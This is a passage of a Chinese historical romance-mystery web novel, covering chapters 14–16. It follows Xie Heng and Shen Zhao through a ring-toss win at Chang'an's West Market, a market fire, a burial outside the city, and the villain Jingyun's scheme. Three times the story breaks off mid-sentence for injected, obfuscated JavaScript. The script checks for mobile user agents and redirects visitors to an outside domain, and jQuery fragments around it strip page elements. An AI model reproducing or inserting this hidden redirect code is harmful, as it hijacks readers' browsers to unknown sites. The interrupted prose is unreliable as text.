谢珩持剑而立,乌发高束,身姿挺拔如松,一件简单的素衣紧裹身躯,腰间以一条束带捆扎,硬挺坚实的胸膛随一吸一呼的吐纳,轻轻起伏。 他白日无事时会在后院练功,此次休沐无需上朝,便早起晨练。 后院宽阔,摆着木桩、沙袋、另有各式兵器,供他操练。 还未出剑,周身已凝几分凉意,他手腕发力,腕骨翻动,泛起剑气寒光,如龙吟九霄,他剑随身走,剑尖微挑,恰似银河倾斜,霜华满地。 倏而身形似鹤,剑气轻掠过院中古树,叶片簌簌而落,剑锋横扫,激起劲风,而空中所飘几片落叶被尽数从中一分为二,干净利落地削作两半,切口如刀裁。 杨方静守在廊下。 沈昭同李立雯用早膳时,李立雯问道:“少爷何在?怎么不来吃饭?” “少爷还在院中练剑,他说让您和二小姐先用。” 李立雯无奈地摇摇头:“这孩子,总是这般刻苦,瑾儿,一会你去让他来用早膳,功夫不急于这一时半刻,再刻苦不能耽误吃饭。” 沈昭应下,还未至院中,便听得其中声响,知其在练剑,她自然躲得远远的,刀剑无眼,万一误伤,她才不撞上去。 静守在一旁的杨方,瞥见一浅色衣裙,猜测是沈昭来寻,禀告给谢珩。 谢珩算着时辰,收剑归鞘,将佩剑扔给她:“让她先回房等着,我稍候便来。” 沈昭倒并不急,她昨日来得匆忙,未在国公府好好逛过,这深宅大院像个迷宫般:“不急,我先四处逛逛,稍候再来。” 春宁和夏安毕竟在府中侍奉几年,对府内事务大概知晓,便引着沈昭边逛边简单介绍国公府日常。 李立雯是端妃所生,端妃过世之后,李立雯便留在皇后膝下抚养,与当今圣上一同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571567|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长大,因老国公去的早,李立雯更是把谢珩放在心尖上。 这官职起初是借由寻找谢怀瑾的名头,为了行事方便,只是不料谢珩对任何事都认真严谨,倒为了这份差事尽心尽力。 圣上看重谢珩,然自打他母亲李立雯出嫁后,不知生了何种嫌隙,便很少回宫了,旁人不敢妄议宫闱之事,婢女们亦缄口不言。 沈昭算着时辰谢珩该是收拾妥当,她又绕回了“秉正堂”。 “兄长,母亲说让你带我一同游玩,你可别忘啦!” 隔着院墙,她的话语被风徐徐吹入耳畔。 谢珩此刻刚沐浴完,身上水汽还未擦净,发梢上的水滴,自下颌滑落,坠在锁骨的凹陷处,微微一顿,又悄然沿着胸前紧实线条,丝滑向下。 宽肩窄腰,肌骨匀健。 小腹前的肌理轮廓若隐若现,被包裹于帕巾之下,随着他上下擦拭身体的浮动,一收一缩。 因着常年练武健体,他的手臂线条若起伏的小山丘,蜿蜒出饱满又匀称的弧度。 轻薄的里衣覆于身上,被饱满有力的线条撑起,仿佛像他骨血中深藏的力量随时要喷发而出。 谢珩一向不喜有人近身侍奉,家丁知他脾性,往往备好水后便在外等候吩咐,若是洗得久了,中途得令会进来换水。 他身边也无近身侍奉的婢女,李立雯曾为此懊恼不已,毕竟他已加冠,议亲之事只是早晚,但他一直未经人事,且忙于要务,常常令李立雯忧心不已。 穿好里衣后,谢珩便回了内屋更衣,他披上衣袍,还未配上蹀躞带,听到远处脚步声渐近:“兄长。” 墙上倩影拉长,他聚气凝力,将房中屏风拉至窗前,正巧挡住了沈昭投来的目光。 日影斜照,沈昭透过屏风看到谢珩的背影,宽大的衣袍覆于他身,将方才的身姿尽数遮挡。 杨方在他刚刚沐洗时去厨房端膳食,正巧被沈昭捕了这片刻的间隙。 沈昭索性歪在窗前,单手支颐,打量着他,视线不躲不避,还同他侃侃而谈:“兄长,这长安城我熟,没什么好玩的啊,今日我们去哪呢?” 谢珩背对着她,手中攥着衣带,听闻背后的声音,动作轻滞,毫不留情地转身进了内室。 沈昭望着屏风上他的虚影:“哎,你躲什么?我又看不见。” 再说既隔着屏风又隔着衣服,不过看个虚无的人影,何必如此,看看又不会少块肉。 谢珩匆匆更换好衣物时,杨方恰端着饭菜进门,看到沈昭,热情见礼:“小姐,一同再吃些吧。” 沈昭并不客气,但是又怕谢珩没换好衣物,她不介意,但耐不住人家脸皮薄,经不起吓,她将踏过门槛时又顿了半步:“你先看看你家公子换好衣服没?” 谢珩缓步从里间走出,听到她的问询,又记起刚才种种,不由得眉头微皱。 感受到气氛低沉,杨方站在一旁不多言,席间无话,家丁奉上两杯清饮,沈昭才借此开口:“这是何物,带有几丝甘甜,好喝。” 谢珩未语,杨方接上:“这叫虎杖冷饮子,是由虎杖和甘草同煎为膏,待夏月取一勺用冷水冲饮,清凉如冰,每每将军练武后,都会饮一杯。” 沈昭又啜了一口,清爽甘甜,确是解暑好物。 自她入国公府以来,倒未见府中上过茶,之前去春风楼亦是如此,她还想再问,谢珩已然起身:“走吧。” 14. 第 14 章 寻常人家的消遣自是与这些王公贵族不同,在严元清的记忆中,每日最大的乐趣便是夏日在溪边抓小鱼小虾,她因此练就打水漂的好手艺,由她掷出去的石子可在水中连飘四五下不断。 至于沈昭,能在上班摸鱼时看会手机便心满意足了,若是上班不得闲,定要狠狠熬夜弥补回来,末日来临之前,令她最不安的便是手机显示低电量。 穿越初时,她游走于生死边缘,将日日不离手的手脚短暂地置于脑后,可她幸运地入了国公府,虽是以照看老夫人为第一要务,但她身子不便,每日陪着说会话便可,全府家丁、婢女一旁服侍,断不会让她插手,国公府只把她当做吉祥物般。 平日忙时最盼着片刻休息,可若整日无所事事又无任何消遣,一旦久了,倒又多了几分茫然虚无。 幸好还有谢珩相陪,他与她本没有任何交集,唯一的联系御风,也死了。 她巧言善辩,却无人识出她眸底暗藏对这个世界的新鲜和好奇,直到对上他的眼睛。 谢珩平日除了当值便是练武,一些游玩的乐趣尚在幼时记忆中,他虽不了解,但有迹可循,若论起长安城内玩乐之事,再没有人比高峻通晓。 高峻是他从小到大的玩伴,比谢珩虚长两岁,中书令之子,是个不折不扣的风流才子。 往日高峻相邀,谢珩不是在前去值守的路上便是翻着案卷文书,数次之后他索性绝了这自讨没趣的念想。 谢珩曾向他提前了解过。 “看花马、移春槛、斗花、马球、木射、西市胡商幻戏...之前我各种理由邀你出去,你都以公事为由拒了,怎的,寻回多年未见的妹妹就变了个人一般,”高峻置气地偏过头,“不若改日叫你妹妹一同出来,我便不计较了。” “多谢。”谢珩提步而去。 身后传来高峻的喊声:“你既不拒绝,那我便当你同意了。” - 长安城分东西市,商贩们有固定的摊位,但近年因着外地客商、胡商往来频繁,他们往往暂留不会久居,为了方便,西市每逢初五、初十便会开放三天的集市,不分摊位不论形式,自由互通往来。 此时是长安城除节庆活动之外最热闹的时候,周边市镇的人趁此进城采买。 原主严元清自幼生于长安城,每逢此时会随父母兄长去摆摊,沈昭并未去过,但总比闲在屋里子舒服,至于谢珩所提马球、木射一类,她心中还存着上次深夜搜山,谢珩将其直接扔上马的阴影,心中暗暗发怵。 沈昭来过西市多次,只是未赶上顶热闹的时候,眼前门店、街巷站满了各种摊贩,脚下甚至看不到行走的路,来往的金吾卫一边清理着占道的人,一边维持秩序。 她对自己爱吃的几家店轻车熟路,可门前又排起弯弯扭扭的长队,刚用过早膳,只买了几串糖葫芦,她举起一只放在谢珩眼前,冰糖壳子经太阳一照散着晶莹的色泽:“兄长,母亲嗜甜,你的妹妹谢怀瑾喜清淡,那你呢,可喜欢吃酸?” 谢珩退了半步:“我无甚喜好,酸甜苦辣皆有不同滋味,爱者爱之,但极酸则略苦,至辣则麻木,苦涩至极也有个中酸爽,若是过度纵情,再上乘的滋味也会失去初入口时的味道。” 言下之意,再好吃的食物也莫要贪食呗。 “让一让,让一让嘞。” 身后抱着两坛酒的壮汉,低眼瞧着脚下,在拥挤的人群中七拐八绕,及至沈昭身边时,沈昭往一旁让了半步,但经不住那粗壮的臂膀不经意撞开,她举着糖葫芦的手肘往前一送,不偏不倚触到谢珩的下唇。 谢珩身后亦退无可退,薄红的唇瓣被硬生生压平,沾着冰糖的黏腻和甜香。 他眼皮轻跳,长睫不由得颤了颤,脸色白了几分。 沈昭的手僵在半空,不过逗他一逗,她可没胆子真往他口中送。 还不等他反应,沈昭匆匆把手挪开,乖乖将糖葫芦用纸包起递给杨方,尴尬笑道:“留着,你回家再吃。” 她抬眸瞥见他唇齿下沾得一层糖,从怀中取出一方锦帕,扔给杨方,小声道:“你快给你家将军擦擦。”转身作势要溜。 帕子经风吹起,杨方伸手接住,送到谢珩眼前,手足无措:“将军...这——” 谢珩沉气,接过眼前的帕子却并未擦拭,只用衣袖随意擦了擦,转身跟上了溜到人群中的沈昭。 杨方在后一手举着糖葫芦,跟在其后:“等等我,将军。” —— 西市固然热闹,但又不单只是采买,经高峻之口,谢珩才知,寻常只道市集是贩卖日常所需,但西市内别有一番天地,在西市最北,便是胡人搭起的场子,其中胡旋舞、器乐演奏、幻戏、马戏都别有趣味,进场每人需花十两银子。 十两银子不少,足够三口之家数年的开销。 他们三人一行从热闹的集市至此,眼前顿觉开阔。 毕竟拿着十两银子消遣的只是少数,杨方曾路过此处,虽然新鲜,他见得多了便不觉得稀奇。 守门人见他们三位衣着打扮便知出身不凡:“几位公子、小姐,入内还需先交银子,三十两。”说着伸出三指。 杨方心在滴血,若是此时拿出腰牌,表明身份,哪怕这十两银子赏给自己也是极好。 谢珩并不知他心中的翻涌,果断交了银子,三人入内。 穿着薄纱舞衣的女子风姿翩翩,笑颜如花,踏着羯鼓欢快的鼓点,纵情歌舞。 另有身着胡服的商人们席地而坐,眼前摆着各色器具、蔬果,原是一些质量上乘的物品器物留在此售卖。 穿过集市,还有各种杂耍表演。 “小姐,来瞧一瞧啦。”一个白胡子大叔,臂弯里挂着数十个竹圈,地上摆满了瓷器、发簪、玉盘等各种小物,最中间一个小口径的青玉瓶,瓶口处置一隔板,其上立一枚玉扳指。 他笑着迎上去:“一两银子十个圈,套中可得,若是能套得中间扳指,另有奖励。” 沈昭对这些玉器瓷瓶不感兴趣,也就几只金灿灿的簪子能吸引她,但曾经逢年回老家时,最大的乐趣便是和亲友去广场上套圈,虽不是百投百中,但常常令老板叫苦不迭。 她交了一两银子,接过竹圈,跃跃欲试。 十圈皆在她手中一个个轻松掷出,套中一个玉盘、两只银簪子、两对玉坠、两个小瓷瓶。 这一圈下来,胡商脸上皱纹渐深,唇角的笑亦扯平:“小姐,好本事。”不太情愿地将她所得一一递给杨方。 杨方竖起大拇指,怀里抱着套取的物件,这套圈看似简单,但套中却并不容易,又如她这般十投七中更是难得。 沈昭出门前本欲给祖母和母亲买些礼品,如此想来,国公府自然不会缺着东西,倒不如套几个瓷瓶摆件回去,她低声问向谢珩:“你可能看出这儿的瓷瓶玉器,是真的假的?” 谢珩略扫过地上玉器后,沉声道:“虽不是上品,倒做不得假。” 沈昭搓搓手心,又递出二十两银子:“老板,再来二十个圈,再把店里的好东西都摆一摆。” 这套圈赚得便是个快钱,若非高手,不会有人续投,沈昭一行很快引起了周围人注意,霎时,看热闹的人越聚越多。 老板不好败了生意,从木匣中挑挑拣拣寻了几个玉瓶、木簪摆上,犹豫着接下银子,把竹圈往沈昭手中掷去。 期间叫好声不断,沈昭得意地问谢珩和杨方:“你们喜欢哪个,我来套。”杨方热情参与其中,指着最左一个玉瓶。谢珩负手站在一旁,瞥见老板青一阵红一阵的脸。 二十圈投完,便聚了更多人驻足,杨方手中已然抱不下如此多东西。 本该见好就收,但最后一圈却没套中杨方心心念念的瓶子,沈昭小声同老板商量:“我可否再给您五两银子,我只想要那个玉瓶。” 老板今日赔了不少,本就在气头上,经她商议,更觉得是小瞧自己,周围胡商多是同乡,他猝然扬声道;“姑娘,若今日你能套中中间这枚玉扳指,我便将此玉瓶相赠,如何?”他从木匣中拿出压箱底的玉瓶,温润盈透,饶是沈昭如此的外行人,也可知此物不俗。 “好!”沈昭痛快应下,二十圈内,若她可套中,玉瓶便归她所有,为了增加难度,胡商又重新将其换了位置,玉扳指置于最远处,四周皆有高瓶遮挡。 沈昭用尽手中十五圈,将他所设的障碍一一套中,只剩最后五圈时,众人不由得屏住呼吸,随着落圈一次次接近,她也快力竭了。 杨方不禁走到谢珩身边,小声询问:“将军,你要不要帮帮她,哪怕她投的再准,丢了快半柱香的时辰了,只怕力所不及。” 谢珩看着沈昭紧抿薄唇,目不转睛地盯着前方,每一缕发丝仿佛都在发力,不觉中看了许久。 “不用,若她需要帮助,定会开口。” 沈昭手中最后一个竹圈随着他的话音,一同落到地上,砸到玉扳指时发出一声闷响,晃晃悠悠颤了几颤,而后稳稳套中玉扳指。 “好!”周遭驻足之人不禁拍手称赞。 谢珩嘴角上扬起一个浅浅的弧度,被叫好声包围其中。 沈昭高兴地跃起,同周围人击掌相庆,跑到谢珩面前时,见他无动于衷,便拉起谢珩的手合掌而鸣,接着略过他,同下一个人庆祝。 谢珩收回悬在半空的手,因碰触的震颤而产生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571568|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酥麻也一并消失。 沈昭走上前,对今日砸了对方生意满心抱歉,但又忍不住内心的欢愉:“老板,可以将玉瓶归我了吧。” “不行!”老板拉下脸,总归已经赔本了,他豁出这种老脸,“我方才是说若你套中,这玉瓶便是最后奖励,但若想得玉瓶...”他说着捧起身后的箱子置于桌上,“还需从中抽中写有标记的卡片,才算作数。” 人群中已有人忿忿不平:“输不起便早早收摊吧。” “对啊,怎么不提前知会人家姑娘。” 杨方提刀上前一步:“老板,既然开门做生意,岂有出尔反尔的道理?” 老板反倒不怵,早有后招,他举起一旁的招牌:“这上面写的清楚,只是各位不仔细看罢了,是你们没有了解清楚规则。” 待众人看清他手下的木板,才后知后觉,原来这胡商怕有人砸场子,早有防备,箱子中卡片数以百计,从中取一,谈何容易? 自知这姑娘无望,一些看客悻悻散了,刚才热闹的场面下只留下零星几人。 这便是抽奖了,但沈昭垂眼看看自己的手,偏过头望向谢珩,眼中含着期盼:“要不...兄长,你帮我抽吧。”又看向杨方,“或者,你来抽?本就是想送你的玉瓶。” 从小到大论起抽奖,她从未中过,哪怕是参与奖都没有,她对自己认知颇为清醒,幸运两字与她从不沾边。 杨方见她气馁,鼓励道:“小姐,无妨,这老板使诈,你真抽不中就算了。” 她像被风吹皱的花灯,与刚才自信满怀的她判若两人。 谢珩并未答应,只问道:“可有何顾虑?” 沈昭大方承认:“我自小就倒霉,莫说百种抽其一,便是则二选一我也选不中,你信不信?” 她眼中的光仿若瞬间熄了,谢珩脑中闪回初见她的那一夜,她彼时只求一顿饱饭,却因他几次三番误会耽误,好像也是如此,像被雨淋湿的小兽,整个人蔫着,无精打采。 给予其希望又亲手摧毁时,最过残忍。 他细细看过老板身旁的招牌,规则确是不假。 他思忖良久,踱步走至沈昭身旁:“在长安坊市间有一奇术,若闭目凝神,从一到一百的数字中,择其中倍二之数,且一次没有任何差错,那此后许下的第一个心意,便可实现,你姑且试试。” 杨方眯起眼眸,这是何法,他从未听闻,但有模有样地掰扯手指默默开始数。 沈昭不为所动,心中仍有怀疑,一头雾水地看向他,如此简单? 谢珩:“需心诚则灵。” 沈昭深吸一口气,闭上眼,反正也抽不中姑且一试,便在心中默念。 谢珩在杨方耳畔叮嘱好后,杨方不可置信地看向他,领会了他的意思后,走向面前的胡商。 —— 沈昭拿出万分细心和谨慎,认认真真数了一遍,睁开眼时,低眸朝箱中瞥了瞥,但这些卡片又并无分别。 她回望向谢珩和杨方:“那我抽了?” 谢珩泰然地望着箱子,似无事发生,杨方一副等着看好戏的神情。 她果断地探出手,在其中搅了搅,随意抽了一张,头也不抬地递给胡商:“就这张吧。” 说完转身走到他们身旁,总归不中,但今日已经收获颇丰,多少得给老板留些家底,如此想着,心中不觉畅快许多。 “等等,姑娘,”老板从身后喊住她,将玉瓶郑重地递上,“姑娘您抽中了。” 沈昭杏眼睁得圆溜溜的,并未接过玉瓶,反而抽出老板手中的卡,其上大大方方写着一个“中”字,若是细看便会发现上面的墨迹未干,轻轻一蹭就蹭下油墨。 这一瞬,她的头脑嗡得一片空白,全身血液仿佛凝固了,耳畔唯有树叶摩挲的沙沙声,攥着卡片的指节发白。 “姑娘?姑娘!” 她像小雀般跳起,张开双臂抱住谢珩,金簪上的流苏因她的雀跃上下跳动:“我真的中了!这是我第一次中奖,你的方法真的会带来好运!” 谢珩衣袍下的指节慌乱地蜷了蜷,手臂却重如千斤相压,罕见地没有推开她,淡淡的甜香打着旋往他的鼻息中钻,他僵了僵,接着退后半步。 沈昭还沉浸在喜悦中,转身又去拉着杨方蹦跶,杨方只敢躲到一旁。 三人满载而归,杨方一手拎着布袋,一手谨慎地将玉瓶抱在怀中,这玉瓶沉甸甸地,堪比千金,他可不敢轻易损坏了。 谢珩吩咐他先回府,对沈昭说:“你随我去一个地方。” 沈昭见他神神秘秘,问究竟去哪,他亦不答。 远处几片乌云浮动,天慢慢阴沉下来。 15. 第 15 章 谢珩让她先在原地等他几时。 时辰渐近午时,城里的人也来西市凑热闹,人头攒动,更显拥挤。 乌云渐渐笼罩,方才湛蓝的天却蒙上一层阴翳,云层愈来愈厚,天色突变。 一些摊贩慌张地收拾东西,热闹霎时变成喧嚣混乱。 沈昭曾一直活在这样的天气中,阴沉沉的,天际那边仍是一片混沌,仿佛看不到任何光亮,只有浓重的血腥和腐败,以及夜夜回响在耳边的喑哑低吼。 周围的喧闹渐渐变得模糊,变成各色光影穿梭而过,世界只余她一人。 她看不清未来,过去变成一片混沌,连周围的人的模样亦渐渐模糊了。 “姑娘,不好意思。” “别挡路啊...” 耳畔的嘈杂在脑中嗡鸣,却拼不成清晰的字眼。 “走水了,快跑啊!”模糊的光斑流动更快,她被来往人群撞开。 “姑娘,你没事吧,姑娘。”她被一个女子扶至一旁,见她眼神涣散,用力摇了摇她。 沈昭的思绪被拉回,像溺水之人猛得吐出一口气,神色渐渐恢复如常:“发生何事了?” “前面走水了,金吾卫都前去支援了,姑娘快跑吧。” 沈昭起身,顺着人流往外跑,却频频回首后望,谢珩还未回来,他在何处呢,走水的话,他若在附近,该会去支援。 旁边行人的议论传入她耳中:“好大的一个竹梯断了,砸伤好几个人,据说附近金吾卫都去了。” “可不是么,我亲眼看见那将军救人,从十多米的台子上摔下来,不知道人怎么样了。” “将军”二字砸落她心上,她伸手拦下身旁两人:“你说的将军在哪?” 那人顺人潮而跑,头也不回,手向身后随意指去:“就后面那高台。” 沈昭猝然转身往回走,跟在她身后之人被她差点绊倒,嘴里嘀咕道:“看路啊!” 众人惶恐如惊弓之鸟,四散而逃,衣袂翻飞间扬起尘土漫天,唯她一人逆流而上,青丝散乱,流苏斜颤,却仍执拗地拨开那些无情错过她的肩踵,向着远方光亮处奔去。 前方浓烟滚滚,火光照亮污浊的云层,哭喊声不绝于耳,竹梯被拦腰截断,被火舌舔舐成灰。 金吾卫或维持秩序,或提木桶灭火,乱作一团。 沈昭拉住其中一人:“你们将军呢?” “你是何人?莫留在此处,来人!”金吾卫欲遣人送她离开。 “我是他妹妹,快带我过去。”沈昭挣脱束缚,眸中灼灼映着火光。 巡值的金吾卫皆身穿铁甲,她寻着谢珩衣袍的颜色,找他的身影,却只看到四散的人群和被火吞噬,倒塌的高台。 “快快,来人呐,将军在此。”远处金吾卫围作一团,齐手抬起倒塌的木板,木板之下那深色一角,正是谢珩今日所穿。 衣袍之下的血水慢慢洇开,骨节分明的手垂在地上,被血污和土一路拖行。 “谢珩。”沈昭推开身旁拦着的人,向他跑去。 这些金吾卫并不认识她,劝她无用,只得用剑呵止她,将其往外赶:“姑娘,此地危险,请勿久留。” 沈昭拨开阻在眼前的剑,眼中的泪却在眼眶中不住打转,她听得并不真切,但若是毫无觉察地从如此高处摔下,她不敢去想后果如何,以此地的医术能否治愈他。 谢家刚刚团聚,祖母和母亲初次见她的笑颜仍映在她脑海中,若是谢珩出事,她不敢去想谢家会如何,她亦不忍见此。 她冲上前,却被金吾卫拉扯着带离:“姑娘,请先离开。” 她双臂被架着移送到一旁,眼看着毫无生气的谢珩被一众人抬着往医馆方向去,她失力地跪在地上,泣不成声。 嘴里自我安慰地喃喃:“不会的,谢珩定然无恙,练武之人骨骼强健,只是暂时昏迷罢了。” 不会的。 她本以为自己见惯生死离别,谢珩不过相逢几日。 她以为自己可以承受。 但此刻他生死未明,才终明白,人的承受限度并不会因为一次次死亡和离别而提高,每一次告别,总是猝不及防。 她的心被攥紧又狠狠摔落于地,过往的痛苦如潮般涌上心头,逼得她无半分喘息机会。 豆大的泪珠滴落在衣裙上,只有淡淡水痕,她大口喘着,浑身不觉地发抖。 忽而,一方绣帕落在她眼前,耳边传来熟悉的声音,温润和煦,让人莫名心安: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571569|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么了?为何跑到此处来。” 沈昭扬起脸,泪水模糊了视线,只有一片空濛,她抹了一把眼角的泪,才看清他,眉目如画,乌发拢起,明明沾了三分凌霜气,但他的眼眸中却只映着一个小小的她。 沈昭猝然起身,踮起脚,将他紧紧拥入怀,哽咽道:“你去哪了,他们说将军出事了,我以为是你。” 谢珩身形微微晃动,僵在原地,拿着帕子的手还悬在空中,忽觉一双温软的手环住他的脖颈,那力道分明纤弱,却如青藤缠枝,将他紧紧禁锢在怀中。 火光照亮半壁天空,滚滚浓烟和血腥气拥入鼻中,但此刻却只余一丝甜香略过鼻尖。 愣怔几息后,他将圈在他颈间的藕臂拉开,柔声道:“我没事。” 沈昭眼眶仍泛红,眼眸中挂着血丝,将他一寸寸细细看过,确认他无事后,才接过帕子,将脸上的泪痕擦干:“那他们口中所说的将军是?” “金吾卫设有大将军一职,在我之下又有两名左右将军,今日负责此地巡视的是右将军姜尧。”虽然杨方等人常唤他将军,但按官职应称其为大将军,他本人亦不讲究这些,就由他们去了。 因着姜尧与谢珩穿了同色衣衫,且被人架着遮住了脸庞,沈昭一时情急才错认了他。 “那他没事吧。”沈昭话语中还带着哭腔,脸上的泪痕还未净,却仍在担心别人。 “我见你在这哭了良久,人已送去医馆,你哭他半天,不若亲自去看看?”谢珩素来端方自持,话出口才觉失了分寸。 沈昭气恼,脱口而出:“我还不是担心你。” 他闻言一怔,握着剑的手蓦得收紧,剑身上的暗纹却如火燎般炽得他手心渗出薄汗。 心头那根绷了二十多年的古琴弦,无端被小小力道拨出清越一声。 看着她的薄肩微微抽动,他的手抬起置于一侧,终是克制地轻拍了她的肩。 处理完现场后,他们前往医馆,因着走水后,附近金吾卫来得及时,并无大的伤亡,姜尧昏过去了,外加手臂骨折,将养一段时日会好。 沈昭松了口气,谢珩问道:“你若是不舒服,可先回国公府。” 沈昭还记得之前的约定:“走吧,我们去哪?” 16. 第 16 章 天空渐渐飘起小雨,细如丝,落在身上,罩了一层水汽。 西市离城门不远,谢珩带她出了城,未久,眼前出现一片坟地,一个个墓碑立于其中,在坟地一旁,白布之下是御风的尸体。 已是初夏,尸体不能久留在左衙内,御风家中父母早亡,他未过门的妻子严元清又死了。 谢珩安排了送葬队伍,一路送至城外。 他虽然平素同御风接触不多,但他为人忠厚实在,金吾卫中的人对他称赞有加,嘴里整日念着严元清,要攒下银子早日迎娶她过门,不少人还曾因此打趣过他。 谢珩默哀,看着一抔抔黄土逐渐覆在棺椁上,许诺一定会将真凶绳之以法。 沈昭看着他身旁的坟地空空,指着紧邻的一处:“这一处我可以花银子买下吗?” 谢珩颔首,但眼中不解。 沈昭笑着说:“若有一日我死了,还请兄长将我安葬在此处,也算成全了他们二人,严母给我的簪子麻烦一同入葬吧。” 她笑得嫣然,话语中那缕哀伤却触动人心。 谢珩默然许久,轻轻点头,算是应下:“御风死后,我派人去他住所查探,他多年积攒的银钱,被一扫而空,此举虽然像劫财,但倒有刻意为之的嫌疑,尚未有进展,你同严元清样貌相仿,他之前同僚亦分不清你们二人,作为他未过门的妻子,御风被杀的原因还有待细查,你平日还需小心,保全自己为上策。” 沈昭:“好,我若遇到危险,定会喊你和杨方相救。” —— “惊云,你到底有何事瞒着我?”夏目跟着他东躲西藏奔波几日,最终在一个小镇落脚。 惊云回到衙内告假后,与她分头出发,最终在此集合,他眯着眸子,从门缝中向外张望,不见谢珩派来的亲卫后,伏低身子,在夏目身侧蹲下,“别急,过几日我会给你个惊喜。” 他偶然间听到谢珩亲卫提起他失散多年的妹妹一事。 牛家村、千金小姐、年龄... 这一条条线索都指向夏目,他提前探查过,牛家村年龄相仿者只有夏目一人,若她是国公府的小姐,那他便能跟着飞黄腾达了。 宫中婢女莹儿本是惊云同乡,两人青梅竹马,约定自她出宫后两人便成亲,但宫女自由受限,无故不可出宫。 他一次出任务受伤后,被夏目救起,两人情愫渐生。 他本念着莹儿宫内积攒了不少嫁妆,且宫中娘娘赏赐得多,两个人小日子定然过得不错,但无意中得知夏目是国公府小姐后,他便放弃了先前的念头。 国公府小姐,当今圣上的亲外甥女,孰轻孰重自然分明。 值守那夜他偷潜入宫,暗杀莹儿时,不小心被御风撞见。 因着夜深露重,御风并未看清。 他谎称自己一时失手,跪下求他不要声张,声泪俱下:“风哥,我快要成亲了,若是被查出来,我在狱中呆几年倒是无妨,可我那未过门的媳妇却只能整日提心吊胆,你也是快成亲的人,应该能懂我吧,我求求你,我会好好安葬她,给她家人足够的抚恤,求你别毁了我。” 那一霎,御风想到等他多年的严元清,终是咬着牙应了下来。 以至于事后谢珩逼问,他只将责任尽数揽到自己失职之上,绝口不提当夜的事。 御风便任凭他三言两语哄弄过去,直到看他拿迷药迷倒了值守金吾卫,凛冽的剑光逼向他,为时已晚。 “我不信,我本在村里住的好好的,为什么非要来此,”夏目心中涌起不详念头,“你是不是犯事了,还是被仇家追杀?” “我是金吾卫,我能犯何错。”见夏目仍在追问,他继续道,“其实,这儿才是我的老家,夏目,当初若不是你出手相救,我早就死了,我怕你不同意便自作主张带你回来,想和你成亲,我已经找好媒人了,聘礼也备好,就等你点头了。” 若放任谢珩将她带回府,她一朝成了高门小姐,那他这些谋划全都要作空,国公府又岂会让他一个师出无名的侍卫当女婿呢,他只有先将生米煮成熟饭,认亲之前她已嫁作人妇,国公府不认也得认了,他就可名正言顺随她一起入国公府。 几日之后,国公府在长安城大摆宴席,向世家贵人介绍谢怀瑾,届时,他便连夜带她回去,若是侥幸能把老夫人气死,他还可以先捞一笔银子,怎么算都不亏。 夏目哪知他的心思,被他这柔情蜜语哄得霎时红了脸:“既如此,你明说便是了,何必搞得这般神秘,我还会不嫁你嘛?” 惊云拥她入怀:“只是婚事筹备匆忙,委屈你了,待我们回到长安,我定会再补你一个更好的。” —— 雨越下越大。 谢珩请的送葬队伍先一步回了城,他们出府时未料到会下雨,此刻手中只有谢珩手中一把伞。 他将伞撑于沈昭头上,手臂伸直,置身于雨中,沈昭故意走得慢些,他便刻意避让后退,与她始终保持距离。 坟地乱石树枝杂乱,下了雨后变得泥泞难走,沈昭踉跄一步,慌乱中去扶。 谢珩手比眼快,先一步递过剑鞘,搭在她的手中。 她稳稳站好之后,紧握住伞,向他靠近半步,对上他的眼眸。 她长睫上挂的细小水滴清晰可见,随着她眨眼微颤,脸上的细粉被泪水冲散,莹白的皮肤泛着红晕,像初绽的娇嫩花苞。 还未待谢珩反应,沈昭先一步开口:“若你因淋雨感染风寒,祖母和母亲定会担心,你既算我兄长,同乘一伞应是合乎情理吧,那街市上同行的岂能都是夫妻不成?” “嗯。”谢珩少见的赞同了她所言。 沈昭握着伞柄的手微微倾斜,将伞置于两人之上:“那走吧,兄长。” 风乍起,二人衣袂翩飞,雨滴砸落在伞上,发出沉重的闷响,明明山雨欲来,但此刻他们却莫名心安。 大雨将他们二人隔绝开,周遭一切嘈杂又静谧,独属于他们。 谢珩开口:“在九州,兄妹之间该如何相处,可与长安有所不同?” 沈昭微怔,险些忘记她随口所编的故乡:“定然有所区别,在九州,兄长要将自己所认识的容貌姣好、端方正直的男子介绍给自己妹妹认识,多多益善,在我的故乡,女子若是家财万贯,养几个面首都可。” “荒唐!”她平日所言便没几个实字,谢珩自然不信。 她压住嘴角的笑,一板一眼道:“有何荒唐,在长安男子不也三妻四妾,反过来女子养几个面首应同理而论,爱美之心人皆有之,那如花似玉的姑娘,谁人不喜?俊逸倜傥的男子亦是如此,你没发现,自你出门,总有人会偷看你么,” 